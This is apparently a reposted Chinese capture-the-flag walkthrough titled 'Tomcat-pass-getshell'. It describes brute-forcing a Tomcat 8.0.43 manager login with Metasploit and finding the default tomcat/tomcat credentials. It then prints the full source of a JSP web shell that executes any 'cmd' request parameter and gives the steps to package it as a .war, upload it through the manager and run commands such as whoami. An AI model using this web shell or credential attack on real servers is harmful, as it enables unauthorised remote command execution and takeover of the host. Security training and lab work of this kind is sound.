Tomcat-pass-getshell

Posted 青时小破栈

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Tomcat-pass-getshell相关的知识,希望对你有一定的参考价值。

1.tomcat8.0.43版本

2.MSF爆破密码

Tomcat-pass-getshell

爆破成功密码是 tomcat tomcat 默认密码Tomcat-pass-getshell

    成功进入 Tomcat web应用程序管理界面了,下面让我们开始部署 War包,Getshell!!!

Tomcat-pass-getshell

       3.Getshell

      (1).首先创建一个名为index.jsp的文件,并写入以下内容:


<%@ page import="java.util.*,java.io.*"%>

<html><BODY>

<FORM METHOD="GET" NAME="myform" ACTION="">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" VALUE="Send">

</FORM>

<pre>

<%

if (request.getParameter("cmd") != null) {

        out.println("Command: " + request.getParameter("cmd") + "<BR>");

        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));

        OutputStream os = p.getOutputStream();

        InputStream in = p.getInputStream();

        DataInputStream dis = new DataInputStream(in);

        String disr = dis.readLine();

        while ( disr != null ) {

                out.println(disr);

                disr = dis.readLine();

                }

        }

%>

</pre>

</BODY></HTML> 

   (2).写入完成,开始将该文件压缩为zip文件,然后我们要将,.zip后缀名改为.war,点击List Applications 模块,上传war包

Tomcat-pass-getshell

Tomcat-pass-getshell

  (3).这个时候,我们需要访问这个文件,以我的示例来说,我要访问的路径为x.x.x.x:20134/test/index.jsp?cmd=whoami,这个相对路径,即使你部署war的路径,index.jsp是我最开始编写代码的文件,这是都可以根据你自己来更改.

Tomcat-pass-getshell

  (4).拿到flag

 





以上是关于Tomcat-pass-getshell的主要内容,如果未能解决你的问题,请参考以下文章